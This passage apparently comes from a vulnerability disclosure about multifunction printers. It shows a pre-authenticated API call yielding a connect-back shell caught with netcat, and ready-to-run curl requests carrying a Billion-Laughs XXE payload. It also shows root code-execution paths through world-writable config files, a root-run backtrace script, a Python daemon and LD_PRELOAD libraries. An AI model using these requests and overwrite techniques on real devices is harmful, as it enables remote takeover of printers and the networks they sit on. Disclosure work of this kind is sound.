45 return json.dumps(data) 46 else: 47 log.info('User Validation : FAILURE') 48 log.warning("get app list Views : End ") 49 if "HTTP_REQUEST_FORBIDDEN" in validationMap: 50 return HTTPForbidden("Error 403 : Forbidden Request") 51 else: 52 return json.dumps(validationMap) 53 54 @view_config(route_name='start_background_application', xhr=True, renderer='jsonp') 55 def start_background_application(request): 56 log.warning("++++++++++++++++++++++++++++++++") 57 log.warning("start background app : Start ") [...]
Due to some reverse proxy rules and check before this API can be reached, this Python code is reachable using the API path http://printerip/tapy/server/appmgmt/applistDeployed
with a cookie previously provided by the printer when visiting http://printerip/ (without authentication).
When sending a HTTP request to http://printerip/tapy/server/appmgmt/applistDeployed
, the attacker will receive a connect-back shell from the printer:
kali# nc -l -v -p 21
listening on [any] 21 ...
10.0.0.1: inverse host lookup failed: Unknown host
connect to [10.0.0.2] from (UNKNOWN) [10.0.0.1] 37243
[apache@MFP14144292 /]$ id
uid=1000(apache) gid=2000(trusted) groups=2000(trusted)
[apache@MFP14144292 /]$ uname -ap
Linux MFP14144292 3.10.38-ltsi-WR6.0.0.11_standard #3513 SMP Tue Jul 5 09:58:22 IST 2022 i686 GNU/Linux
[apache@MFP14144292 /]$
Connect-back shell as apache:
It is possible to overwrite the .ini configuration file used by WSGI Python programs. This technique is public as of 2023-02-28: https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html.
Apache is running with WSGI configurations:
bash-4.1# ps auxww | grep apache
apache 1611 0.0 0.1 1264444 3708 ? Sl 10:37 0:00 /usr/local/ebx/httpd_worker/bin/httpd_worker -f /encryption/al/network/config/httpd-prox.conf -k start
apache 1822 0.2 3.6 483056 108852 ? Sl 10:37 1:02 (wsgi:webpanel) -f /encryption/al/network/config/httpd-wsgi.conf -k start
apache 1823 0.0 2.1 270952 64172 ? Sl 10:37 0:05 (wsgi:topaccesspy) -f /encryption/al/network/config/httpd-wsgi.conf -k start
apache 1824 0.0 0.1 285148 4452 ? Sl 10:37 0:00 /usr/local/ebx/httpd_worker/bin/httpd_worker -f /encryption/al/network/config/httpd-wsgi.conf -k start
The Python scripts running as WSGI are configured with specific .ini configuration files:
/registration/al/WebPanel/development.ini
/registration/al/TopAccessPy/development.ini
Unfortunately, these configuration files can be rewritten because of insecure permissions, allowing a remote attacker to execute commands, as described in recent public research.
These files have insecure permissions as shown below:
bash-4.1# ls -la /registration/al/WebPanel/
total 2632
drwxrwxrwx 7 root root 4096 Dec 6 03:33 .
drwxrwxrwx 19 root root 4096 Mar 14 16:28 ..
-rwxrwxrwx 1 root root 2642944 Dec 6 03:33 HomeBackgroundImages.tar.gz
-rwxrwxrwx 1 root root 857 Dec 6 03:33 Makefile
-rwxrwxrwx 1 root root 909 Dec 6 03:33 config.rb
-rwxrwxrwx 1 root root 1103 Dec 6 03:33 development.ini
drwxrwxrwx 4 root root 4096 Jan 22 2015 predefinedxml
-rwxrwxrwx 1 root root 199 Dec 6 03:33 pyramid.wsgi
drwxrwxrwx 3 root root 4096 Dec 6 03:33 statuspages
drwxrwxrwx 14 root root 4096 Dec 6 03:33 wpclient
drwxrwxrwx 6 root root 4096 Mar 14 16:32 wpserver
drwxrwxrwx 2 root root 4096 Dec 6 03:33 wpserver.egg-info
bash-4.1# ls -la /registration/al/WebPanel/development.ini
-rwxrwxrwx 1 root root 1103 Dec 6 03:33 /registration/al/WebPanel/development.ini
bash-4.1# ls -la /registration/al/TopAccessPy
total 36
drwxrwxrwx 5 root root 4096 Dec 6 03:39 .
drwxrwxrwx 19 root root 4096 Mar 14 16:28 ..
-rwxrwxrwx 1 root root 315 Dec 6 03:39 Makefile
-rwxrwxrwx 1 root root 2091 Dec 6 03:39 TA_CacheScript.sh
drwxrwxrwx 7 root root 4096 Mar 23 10:37 client
-rwxrwxrwx 1 root root 1078 Dec 6 03:39 development.ini
-rwxrwxrwx 1 root root 202 Dec 6 03:39 pyramid.wsgi
drwxrwxrwx 6 root root 4096 Mar 14 16:32 server
drwxrwxrwx 2 root root 4096 Dec 6 03:39 server.egg-info
bash-4.1# ls -la /registration/al/TopAccessPy/development.ini
-rwxrwxrwx 1 root root 1078 Dec 6 03:39 /registration/al/TopAccessPy/development.ini
These scripts can be overwritten to include specific commands to be executed:
Content of /registration/al/TopAccessPy/development.ini
:
bash-4.1# cat /registration/al/TopAccessPy/development.ini
[app:main]
use = egg:server
pyramid.reload_templates = true
pyramid.debug_authorization = false
pyramid.debug_notfound = false
pyramid.debug_routematch = false
pyramid.default_locale_name = en
pyramid.includes = pyramid_tm
[server:main]
# Begin logging configuration
[loggers]
keys = root, server
[handlers]
keys = console, serverhandler
[formatters]
keys = generic, serverformatter
[logger_root]
level = DEBUG
handlers = console
[logger_server]
level=DEBUG
handlers=serverhandler
qualname=server
propagate=0
[handler_console]
class = StreamHandler
args = (sys.stderr,)
level = NOTSET
formatter = generic
[handler_serverhandler]
class=logging.handlers.RotatingFileHandler
level=DEBUG
formatter=serverformatter
args=('/work/log/al/webpanel/python_ta.log','a',(5*1024*1024),3)
[formatter_generic]
format = %(asctime)s %(levelname)-5.5s [%(name)s][%(threadName)s] %(message)s
[formatter_serverformatter]
format=%(asctime)s%(msecs)03d Pid= %(process)d Tid= %(thread)d %(filename)s %(lineno)d %(levelname)s %(message)s
datefmt=%m/%d %H:%M:%S
# End logging configuration
/tmp/backtraceScript.sh
and injection of malicious gdb commandsWhen a program crashes, the /tmp/backtraceScript.sh
script will be executed as root as shown below:
2023/05/27 19:48:02 CMD: UID=0 PID=22535 | sh -c /tmp/backtraceScript.sh "/work/log/corefiles/core.httpd_worker.8272.MFP14130119.1681135080" > "/work/log/corefiles/core.httpd_worker.8272.MFP14130119.1681135080"_backtrace
2023/05/27 19:48:02 CMD: UID=0 PID=22536 | /bin/bash /tmp/backtraceScript.sh /work/log/corefiles/core.httpd_worker.8272.MFP14130119.1681135080
2023/05/27 19:48:02 CMD: UID=0 PID=22540 | /bin/bash /tmp/backtraceScript.sh /work/log/corefiles/core.httpd_worker.8272.MFP14130119.1681135080
2023/05/27 19:48:02 CMD: UID=0 PID=22539 | /bin/bash /tmp/backtraceScript.sh /work/log/corefiles/core.httpd_worker.8272.MFP14130119.1681135080
2023/05/27 19:48:02 CMD: UID=0 PID=22538 | /bin/bash /tmp/backtraceScript.sh /work/log/corefiles/core.httpd_worker.8272.MFP14130119.1681135080
2023/05/27 19:48:02 CMD: UID=0 PID=22537 | /bin/bash /tmp/backtraceScript.sh /work/log/corefiles/core.httpd_worker.8272.MFP14130119.1681135080
2023/05/27 19:48:03 CMD: UID=0 PID=22541 | gdb -c /work/log/corefiles/core.httpd_worker.8272.MFP14130119.1681135080 -x /tmp/gdb_commands.txt
2023/05/27 19:48:03 CMD: UID=0 PID=22542 | gdb /usr/local/ebx/httpd_worker/bin/httpd_worker /work/log/corefiles/core.httpd_worker.8272.MFP14130119.1681135080 --batch --command=/tmp/gdb_commands.txt
2023/05/27 19:48:03 CMD: UID=0 PID=22543 | iconv -l
This script has insecure permissions (777) and will run gdb as root:
Content of /tmp/backtraceScript.sh
:
bash-4.1# ls -la /tmp/backtraceScript.sh
-rwxrwxrwx 1 root root 1457 Apr 6 2016 /tmp/backtraceScript.sh
bash-4.1# cat /tmp/backtraceScript.sh
#!/bin/bash
OIFS=${IFS}
IFS=$'\n'
echo "quit" > /tmp/gdb_commands.txt
echo "quit" >> /tmp/gdb_commands.txt
EXE_NAME=`gdb -c "$1" -x /tmp/gdb_commands.txt | grep "Core was generated by" | cut -d'\`' -f2 | cut -d' ' -f1`
echo "thread apply all backtrace full" > /tmp/gdb_commands.txt
echo "set print asm" >> /tmp/gdb_commands.txt
echo "set print demangle on" >> /tmp/gdb_commands.txt
echo "disassemble" >> /tmp/gdb_commands.txt
echo "info reg" >> /tmp/gdb_commands.txt
echo "quit" >> /tmp/gdb_commands.txt
echo "quit" >> /tmp/gdb_commands.txt
if [ "$EXE_NAME" = "" ];then
if [ -d /work/log/platform/syscallerr/core_files ];then
mv "$1" /work/log/platform/syscallerr/core_files/
else
mkdir -p /work/log/platform/syscallerr/core_files
mv "$1" /work/log/platform/syscallerr/core_files/
fi
else
if [ -f $EXE_NAME ];then
gdb $EXE_NAME "$1" --batch --command=/tmp/gdb_commands.txt 2>&1
elif [ -f $EB2/bin/$EXE_NAME ]; then
gdb $EB2/bin/$EXE_NAME "$1" --batch --command=/tmp/gdb_commands.txt 2>&1
elif [ "$EXE_NAME"="(wsgi:webapi)" -o "$EXE_NAME"="(wsgi:webpanel)" -o "$EXE_NAME"="(wsgi:topaccesspy)" ]; then
EXE_NAME=/usr/local/ebx/httpd_worker/bin/httpd_worker
gdb $EXE_NAME "$1" --batch --command=/tmp/gdb_commands.txt 2>&1
else
if [ -d /work/log/platform/syscallerr/core_files ];then
mv "$1" /work/log/platform/syscallerr/core_files/
else
mkdir -p /work/log/platform/syscallerr/core_files
mv "$1" /work/log/platform/syscallerr/core_files/
fi
fi
fi
IFS=${OIFS}
bash-4.1#
The /tmp/gdb_commands.txt
gdb script (used by gdb in the /tmp/backtraceScript.sh
script) can be also overwritten by an attacker to contain gdb commands and get Remote Code Execution.
An attacker can change the /tmp/backtraceScript.sh
to get Remote Code Execution.
An attacker can change the /tmp/gdb_commands.txt
script to get Remote Code Execution.
/home/SYSROM_SRC/build/common/bin/sapphost.py
programThe program /home/SYSROM_SRC/build/release/bin/sapphost.py
runs as root when the printer starts:
bash-4.1# ps auxww|grep python
root 3984 5.0 5.3 200160 70944 ? Sl 18:49 0:03 python /home/SYSROM_SRC/build/release/bin/sapphost.py 10000000-0000-0000-0000-500000000000
root 4597 4.5 3.5 144312 47740 ? Sl 18:49 0:02 python /home/SYSROM_SRC/build/release/bin/sapphost.py 10000000-0000-0000-0000-500000000001
root 5193 0.0 0.1 12616 1852 ? S 18:50 0:00 grep python
bash-4.1#
/home/SYSROM_SRC/build/release/bin/sapphost.py
is a symbolic link to /home/SYSROM_SRC/build/common/bin/sapphost.py
and this Python program has insecure permissions, allowing any local user or any remote attacker leveraging the insecure file upload vulnerability to overwrite it:
bash-4.1# ls -la /home/SYSROM_SRC/build/release/bin/sapphost.py lrwxrwxrwx 1 root root 32 Mar 15 11:44 /home/SYSROM_SRC/build/release/bin/sapphost.py -> ../../thirdparty/bin/sapphost.py bash-4.1# ls -la /home/SYSROM_SRC/build/thirdparty/bin/sapphost.py lrwxrwxrwx 1 root root 28 Mar 15 11:44 /home/SYSROM_SRC/build/thirdparty/bin/sapphost.py -> ../../common/bin/sapphost.py bash-4.1# ls -la /home/SYSROM_SRC/build/common/bin/sapphost.py -rwxrwxrwx 1 root root 2124 Oct 12 2021 /home/SYSROM_SRC/build/common/bin/sapphost.py
An attacker can overwrite this Python code to get Remote Code Execution when the printer starts.
When analyzing the processes running in the printers, it appears the LD_PRELOAD
variable is used to load specific shared libraries:
/ramdisk/al/libGetNameInfoInterface.so
/ramdisk/al/libGetAddtInfoInterface.so
We can find the LD_PRELOAD
variable set by default in programs running in the printers:
bash-4.1# printenv | grep LD_PRELO
LD_PRELOAD=/ramdisk/al/libGetNameInfoInterface.so:/ramdisk/al/libGetAddtInfoInterface.so:
bash-4.1# ls -la /ramdisk/al/libGetNameInfoInterface.so
-rwxrwxrwx 1 root root 70813 Dec 6 02:02 /ramdisk/al/libGetNameInfoInterface.so
bash-4.1# s -la /ramdisk/al/libGetAddtInfoInterface.so
-rwxrwxrwx 1 root root 87311 Dec 6 02:02 /ramdisk/al/libGetAddtInfoInterface.so
bash-4.1#
For example, when sending 55 HTTP requests to the printers, new Apache processes running as root will be created on the fly by the printer, as shown below. These new processes will load and execute code from libGetNameInfoInterface.so
and libGetAddtInfoInterface.so
. An attacker can rewrite any file over them to get Remote Code Execution.
Using the HTTP request from the Pre-authenticated Blind XML External Entity (XXE) injection - DoS, we will send 55 HTTP requests (only the last 3 are displayed) containing the Billion-Laugh Attack, to create new Apache processes in the remote printer:
kali% curl -i -s -k -X $'POST' \
-H $'Host: 10.0.0.1:8080' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0' -H $'Accept: */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Cache-Control: no-cache' -H $'Pragma: no-cache' -H $'Content-Type: text/plain; charset=utf-8' -H $'csrfpId: 10.0.0.1.852d519a6fa9825fae857bac5c003da0' -H $'Content-Length: 760' -H $'Origin: http://10.0.0.1:8080' -H $'Connection: close' -H $'Referer: http://10.0.0.1:8080/?MAIN=TOPACCESS' \
-b $'Session=10.0.0.2.852d519a6fa9825fae857bac5c003da0; Locale=en-US,en#q=0.5; BrowserLang=en_US; pageTrack=MAIN%3DLOGS%26SUB%3DJOBLOGS%26CAT%3DPRINT' \
--data-binary $'<!DOCTYPE lolz [\x0d\x0a <!ENTITY lol \"lol\">\x0d\x0a <!ELEMENT lolz (#PCDATA)>\x0d\x0a <!ENTITY lol1 \"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;\">\x0d\x0a <!ENTITY lol2 \"&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;\">\x0d\x0a <!ENTITY lol3 \"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;\">\x0d\x0a <!ENTITY lol4 \"&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;\">\x0d\x0a <!ENTITY lol5 \"&lol4;&lol4;&lol4;\">\x0d\x0a <!ENTITY lol6 \"&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;\">\x0d\x0a <!ENTITY lol7 \"&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;\">\x0d\x0a <!ENTITY lol8 \"&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;\">\x0d\x0a <!ENTITY lol9 \"&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;\">\x0d\x0a]>\x0d\x0a<lolz>&lol9;</lolz>' \
$'http://10.0.0.1:8080/contentwebserver' &
[53] 2286190
kali% curl -i -s -k -X $'POST' \
-H $'Host: 10.0.0.1:8080' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0' -H $'Accept: */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Cache-Control: no-cache' -H $'Pragma: no-cache' -H $'Content-Type: text/plain; charset=utf-8' -H $'csrfpId: 10.0.0.1.852d519a6fa9825fae857bac5c003da0' -H $'Content-Length: 760' -H $'Origin: http://10.0.0.1:8080' -H $'Connection: close' -H $'Referer: http://10.0.0.1:8080/?MAIN=TOPACCESS' \
-b $'Session=10.0.0.2.852d519a6fa9825fae857bac5c003da0; Locale=en-US,en#q=0.5; BrowserLang=en_US; pageTrack=MAIN%3DLOGS%26SUB%3DJOBLOGS%26CAT%3DPRINT' \
--data-binary $'<!DOCTYPE lolz [\x0d\x0a <!ENTITY lol \"lol\">\x0d\x0a <!ELEMENT lolz (#PCDATA)>\x0d\x0a <!ENTITY lol1 \"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;\">\x0d\x0a <!ENTITY lol2 \"&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;\">\x0d\x0a <!ENTITY lol3 \"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;\">\x0d\x0a <!ENTITY lol4 \"&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;\">\x0d\x0a <!ENTITY lol5 \"&lol4;&lol4;&lol4;\">\x0d\x0a <!ENTITY lol6 \"&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;\">\x0d\x0a <!ENTITY lol7 \"&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;\">\x0d\x0a <!ENTITY lol8 \"&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;\">\x0d\x0a <!ENTITY lol9 \"&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;\">\x0d\x0a]>\x0d\x0a<lolz>&lol9;</lolz>' \
$'http://10.0.0.1:8080/contentwebserver' &
[54] 2286192
kali% curl -i -s -k -X $'POST' \
-H $'Host: 10.0.0.1:8080' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0' -H $'Accept: */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Cache-Control: no-cache' -H $'Pragma: no-cache' -H $'Content-Type: text/plain; charset=utf-8' -H $'csrfpId: 10.0.0.1.852d519a6fa9825fae857bac5c003da0' -H $'Content-Length: 760' -H $'Origin: http://10.0.0.1:8080' -H $'Connection: close' -H $'Referer: http://10.0.0.1:8080/?MAIN=TOPACCESS' \
-b $'Session=10.0.0.2.852d519a6fa9825fae857bac5c003da0; Locale=en-US,en#q=0.5; BrowserLang=en_US; pageTrack=MAIN%3DLOGS%26SUB%3DJOBLOGS%26CAT%3DPRINT' \
--data-binary $'<!DOCTYPE lolz [\x0d\x0a <!ENTITY lol \"lol\">\x0d\x0a <!ELEMENT lolz (#PCDATA)>\x0d\x0a <!ENTITY lol1 \"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;\">\x0d\x0a <!ENTITY lol2 \"&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;\">\x0d\x0a <!ENTITY lol3 \"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;\">\x0d\x0a <!ENTITY lol4 \"&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;\">\x0d\x0a <!ENTITY lol5 \"&lol4;&lol4;&lol4;\">\x0d\x0a <!ENTITY lol6 \"&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;\">\x0d\x0a <!ENTITY lol7 \"&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;\">\x0d\x0a <!ENTITY lol8 \"&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;\">\x0d\x0a <!ENTITY lol9 \"&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;\">\x0d\x0a]>\x0d\x0a<lolz>&lol9;</lolz>' \
$'http://10.0.0.1:8080/contentwebserver' &
[55] 2286194
We can find that new Apache processes are created using LD_PRELOAD
variables on the remote printer:
2023/05/27 11:31:42 CMD: UID=0 PID=4132 | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
2023/05/27 11:31:42 CMD: UID=0 PID=4131 | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
2023/05/27 11:31:42 CMD: UID=0 PID=4130 | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
2023/05/27 11:31:42 CMD: UID=0 PID=4129 | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
2023/05/27 11:31:43 CMD: UID=0 PID=4138 | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
2023/05/27 11:31:43 CMD: UID=0 PID=4137 | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
2023/05/27 11:31:43 CMD: UID=0 PID=4136 | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
2023/05/27 11:31:43 CMD: UID=0 PID=4135 | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
2023/05/27 11:31:43 CMD: UID=0 PID=4134 | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
2023/05/27 11:31:43 CMD: UID=0 PID=4133 | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
2023/05/27 11:31:43 CMD: UID=0 PID=4139 | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
2023/05/27 11:31:43 CMD: UID=0 PID=4140 | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
2023/05/27 11:31:44 CMD: UID=0 PID=4141 | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi
2023/05/27 11:31:44 CMD: UID=0 PID=4142 | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi
2023/05/27 11:31:45 CMD: UID=0 PID=4143 | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
2023/05/27 11:31:46 CMD: UID=0 PID=4145 | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
2023/05/27 11:31:46 CMD: UID=0 PID=4144 | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
2023/05/27 11:31:47 CMD: UID=0 PID=4146 | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi
2023/05/27 11:31:47 CMD: UID=0 PID=4147 | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi
2023/05/27 11:31:47 CMD: UID=0 PID=4151 | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
2023/05/27 11:31:47 CMD: UID=0 PID=4150 | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
2023/05/27 11:31:47 CMD: UID=0 PID=4149 | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
2023/05/27 11:31:47 CMD: UID=0 PID=4148 | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
2023/05/27 11:31:48 CMD: UID=0 PID=4156 | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
2023/05/27 11:31:48 CMD: UID=0 PID=4155 | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
2023/05/27 11:31:48 CMD: UID=0 PID=4154 | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
2023/05/27 11:31:48 CMD: UID=0 PID=4153 | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
2023/05/27 11:31:48 CMD: UID=0 PID=4152 | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
2023/05/27 11:31:48 CMD: UID=0 PID=4158 | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
We can analyze a newly-created Apache process. For example, the Apache process with the PID 4129 will have some libraries loaded in order to execute code implemented in these libraries:
bash-4.1# cat /proc/4129/maps
08048000-080bb000 r-xp 00000000 08:02 155908 /home/SYSROM_SRC/build/thirdparty/bin/httpd
080bb000-080bf000 rw-p 00072000 08:02 155908 /home/SYSROM_SRC/build/thirdparty/bin/httpd
080bf000-0833e000 rw-p 00000000 00:00 0 [heap]
0833e000-08360000 rw-p 00000000 00:00 0 [heap]
08360000-083e8000 rw-p 00000000 00:00 0 [heap]
4bc47000-4bc63000 r-xp 00000000 08:02 11770 /lib/ld-2.11.3.so
4bc63000-4bc64000 r--p 0001b000 08:02 11770 /lib/ld-2.11.3.so
4bc64000-4bc65000 rw-p 0001c000 08:02 11770 /lib/ld-2.11.3.so
4bc67000-4bda6000 r-xp 00000000 08:02 11750 /lib/libc-2.11.3.so
4bda6000-4bda7000 ---p 0013f000 08:02 11750 /lib/libc-2.11.3.so
4bda7000-4bda9000 r--p 0013f000 08:02 11750 /lib/libc-2.11.3.so
4bda9000-4bdaa000 rw-p 00141000 08:02 11750 /lib/libc-2.11.3.so
4bdaa000-4bdad000 rw-p 00000000 00:00 0
4bdaf000-4bdb1000 r-xp 00000000 08:02 11665 /lib/libdl-2.11.3.so
4bdb1000-4bdb2000 r--p 00001000 08:02 11665 /lib/libdl-2.11.3.so
4bdb2000-4bdb3000 rw-p 00002000 08:02 11665 /lib/libdl-2.11.3.so
4bdbf000-4bddf000 r-xp 00000000 08:02 139743 /usr/lib/libpcre.so.3.12.1
4bddf000-4bde0000 rw-p 0001f000 08:02 139743 /usr/lib/libpcre.so.3.12.1
4bdee000-4bdf0000 r-xp 00000000 08:02 144969 /usr/lib/libcom_err.so.2.1
4bdf0000-4bdf1000 rw-p 00001000 08:02 144969 /usr/lib/libcom_err.so.2.1
4bdfa000-4be0c000 r-xp 00000000 08:02 145525 /usr/lib/libz.so.1.2.3
4be0c000-4be0d000 rw-p 00011000 08:02 145525 /usr/lib/libz.so.1.2.3
4be0f000-4be12000 r-xp 00000000 08:02 144902 /usr/lib/libuuid.so.1.3.0
4be12000-4be13000 rw-p 00002000 08:02 144902 /usr/lib/libuuid.so.1.3.0
4be15000-4be1c000 r-xp 00000000 08:02 11732 /lib/librt-2.11.3.so
4be1c000-4be1d000 r--p 00006000 08:02 11732 /lib/librt-2.11.3.so
4be1d000-4be1e000 rw-p 00007000 08:02 11732 /lib/librt-2.11.3.so
4be7e000-4be9f000 r-xp 00000000 08:02 142900 /usr/lib/libk5crypto.so.3.1
4be9f000-4bea0000 rw-p 00021000 08:02 142900 /usr/lib/libk5crypto.so.3.1
4bea7000-4bead000 r-xp 00000000 08:02 140031 /usr/lib/libkrb5support.so.0.1
4bead000-4beae000 rw-p 00005000 08:02 140031 /usr/lib/libkrb5support.so.0.1
4c04f000-4c133000 r-xp 00000000 08:02 145085 /usr/lib/libstdc++.so.6.0.13
4c133000-4c137000 r--p 000e4000 08:02 145085 /usr/lib/libstdc++.so.6.0.13
4c137000-4c138000 rw-p 000e8000 08:02 145085 /usr/lib/libstdc++.so.6.0.13
...
710a3000-710a5000 r-xp 00000000 08:02 153564 /home/SYSROM_SRC/build/thirdparty/lib/mod_authn_file.so
710a5000-710a6000 rw-p 00001000 08:02 153564 /home/SYSROM_SRC/build/thirdparty/lib/mod_authn_file.so
710a6000-710a9000 r-xp 00000000 08:02 154158 /home/SYSROM_SRC/build/thirdparty/lib/mod_authn_core.so
710a9000-710aa000 rw-p 00002000 08:02 154158 /home/SYSROM_SRC/build/thirdparty/lib/mod_authn_core.so
710aa000-710b4000 r-xp 00000000 08:02 154478 /home/SYSROM_SRC/build/thirdparty/lib/mod_dav_fs.so
710b4000-710b5000 rw-p 00009000 08:02 154478 /home/SYSROM_SRC/build/thirdparty/lib/mod_dav_fs.so
...
75674000-75677000 r--p 00064000 08:02 153751 /home/SYSROM_SRC/build/thirdparty/lib/libssl.so.1.0.0
75677000-7567b000 rw-p 00067000 08:02 153751 /home/SYSROM_SRC/build/thirdparty/lib/libssl.so.1.0.0
7567b000-756b0000 r-xp 00000000 08:02 154613 /home/SYSROM_SRC/build/thirdparty/lib/libldap-2.4.so.2.5.6
756b0000-756b3000 rw-p 00034000 08:02 154613 /home/SYSROM_SRC/build/thirdparty/lib/libldap-2.4.so.2.5.6
756b3000-756bd000 r-xp 00000000 08:02 11632 /lib/libpam.so.0.82.2
756bd000-756be000 rw-p 0000a000 08:02 11632 /lib/libpam.so.0.82.2
756be000-76217000 r-xp 00000000 08:02 21362 /home/SYSROM_SRC/build/release/lib/libssdk.so.0.0.0
76217000-76258000 rw-p 00b58000 08:02 21362 /home/SYSROM_SRC/build/release/lib/libssdk.so.0.0.0
76258000-7625f000 rw-p 00000000 00:00 0
7625f000-7626a000 r-xp 00000000 08:02 20801 /home/SYSROM_SRC/build/release/lib/libcimsg.so.0
7626a000-7626b000 rw-p 0000a000 08:02 20801 /home/SYSROM_SRC/build/release/lib/libcimsg.so.0
7626b000-76273000 r-xp 00000000 08:02 20878 /home/SYSROM_SRC/build/release/lib/mod_efiwebserver.so.0
76273000-76274000 rw-p 00007000 08:02 20878 /home/SYSROM_SRC/build/release/lib/mod_efiwebserver.so.0
76274000-76275000 ---p 00000000 00:00 0
76275000-76a74000 rwxp 00000000 00:00 0
76a74000-76a77000 rw-p 00000000 00:00 0
76a77000-76a7b000 r-xp 00000000 08:02 11633 /lib/libattr.so.1.1.0
76a7b000-76a7c000 rw-p 00003000 08:02 11633 /lib/libattr.so.1.1.0
76a7c000-76a82000 r-xp 00000000 08:02 11721 /lib/libacl.so.1.1.0
76a82000-76a83000 rw-p 00005000 08:02 11721 /lib/libacl.so.1.1.0
76a83000-76a84000 rw-p 00000000 00:00 0
76a84000-76af3000 r-xp 00000000 08:02 21782 /home/SYSROM_SRC/build/release/lib/libcios.so.0
76af3000-76af7000 rw-p 0006f000 08:02 21782 /home/SYSROM_SRC/build/release/lib/libcios.so.0
76af7000-76b50000 r-xp 00000000 08:02 145519 /usr/lib/libintlc.so.5
76b50000-76b53000 rw-p 00059000 08:02 145519 /usr/lib/libintlc.so.5
